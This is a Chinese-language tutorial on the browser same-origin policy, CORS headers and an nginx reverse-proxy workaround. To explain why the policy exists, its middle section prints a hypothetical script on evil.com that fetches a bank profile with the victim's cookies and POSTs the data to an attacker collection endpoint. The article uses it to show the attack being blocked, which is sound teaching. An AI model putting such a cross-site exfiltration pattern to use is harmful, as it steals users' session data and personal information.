浏览器的同源策略以及跨源问题 ( 浏览器的同域策略以及跨域问题)
浏览器的同源策略以及跨源问题
- “源”
- 什么事同源策略?
- 浏览器没有同源策略会发生什么?同源策略的作用
- 作用一:防止会话 Cookie 被窃取(跨站请求无法读取响应)
- 其他作用
- 跨域资源访问 (CORS)
- 方法一
- 方法二
这里的“源”也可称为“域”: 浏览器的同域策略以及跨域问题
“源”
源 = 协议 + 主机 + 端口 (如:http://192.168.0.0.1:8080)
“同源”即是指协议、主机、端口三者都完成相同。
与url :http://store.company.com/dir/page.html的源进行比较示例如下:
| URL | 结果 | 原因 |
|---|---|---|
| http://store.company.com/dir2/other.html | 同源 | 只有路径不同 |
| http://store.company.com/dir/inner/another.html | 同源 | 只有路径不同 |
| https://store.company.com/secure.html | 失败 | 协议不同 |
| http://store.company.com:81/dir/etc.html | 失败 | 端口不同(http:// 默认端口是 80) |
| http://news.company.com/dir/other.html | 失败 | 主机不同 |
什么事同源策略?
同源策略(Same-Origin Policy)是浏览器最基础、最重要的安全机制。它规定:只有协议、域名、端口完全相同的两个页面,才能相互访问对方的资源(如 DOM、Cookie、LocalStorage)或发送任意请求并读取响应。
出于安全性,浏览器限制脚本内发起的跨源 HTTP 请求。例如,XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着使用这些 API 的 Web 应用程序只能从加载应用程序的同一个域请求 HTTP 资源,除非响应报文包含了正确 CORS 响应头。
浏览器没有同源策略会发生什么?同源策略的作用
作用一:防止会话 Cookie 被窃取(跨站请求无法读取响应)
- 攻击前提
用户已登录 https://bank.com,浏览器保存了该网站的会话 Cookie(比如 SESSIONID=abc123)。
Cookie 未设置 HttpOnly、SameSite 等额外保护(仅为了简化演示)。
- 攻击步骤(假设没有同源策略)
用户访问恶意网站 https://evil.com。
evil.com 的页面包含如下 JavaScript:
fetch('https://bank.com/api/user/profile',{credentials:'include'// 发送 Cookie}).then(res=>res.json()).then(userData=>{// 将用户数据(姓名、余额、身份证号等)发送给攻击者fetch('https://evil.com/collect',{method:'POST',body:JSON.stringify(userData)});});浏览器执行该代码,因为目标域名是 bank.com,请求会自动携带 bank.com 的 Cookie。
服务器 bank.com 认为请求携带有效会话,返回用户敏感信息(JSON 格式)。
如果没有同源策略,脚本可以读取这个响应,从而将用户隐私发送到攻击者服务器。
同源策略如何防御?
浏览器的 fetch / XHR 遵循同源策略:允许发送跨域请求,但禁止脚本读取响应。
执行上述代码时,浏览器会检查 bank.com 的响应头中是否包含:
Access-Control-Allow-Origin: https://evil.com或*(且未携带凭证时)由于 bank.com 没有返回该头,浏览器会抛出 CORS 错误:
Access to fetch at 'https://bank.com/api/user/profile' from origin 'https://evil.com' has been blocked by CORS policy.userData 无法获取,敏感信息不会泄露。
补充说明
即使服务器返回了 Access-Control-Allow-Origin: *,如果请求携带了 credentials: ‘include’(即 Cookie),浏览器也会拒绝,因为通配符 * 不允许与凭证一起使用。
若要安全地开放跨域读取,服务器必须明确指定具体源,例如:
Access-Control-Allow-Origin: https://trusted.comAccess-Control-Allow-Credentials: true
其他作用
跨域资源访问 (CORS)
浏览器有了同源策略的限制,那浏览器还能实现不同源之间的访问吗? 可以!通过跨域资源共享(CORS)来实现
跨源 HTTP 请求的一个例子:运行在https://domain-a.com的 JavaScript 代码使用 XMLHttpRequest 来发起一个到https://domain-b.com/data.json的请求。
CORS是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其他源(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。
方法一
上面已经提到过了:在 源https://domain-b.com/服务器端配置响应头Access-Control-Allow-Origin: https://domain-a.com
以允许源 https://domain-a.com访问。
方法二
无法在源https://domain-b.com/服务器完成响应头配置时,可使用nginx反向代理以实现跨域请求。nginx主要配置如下:
server { listen 80; server_name localhost; #access_log logs/host.access.log main; location / { proxy_pass https://domain-a.com; root html; index index.html index.htm; } location /proxy/nginx/ { proxy_pass https://domain-b.com/; root html; index index.html index.htm; } }参考:
跨源资源共享(CORS)https://developer.mozilla.org
浏览器的同源策略 https://developer.mozilla.org/
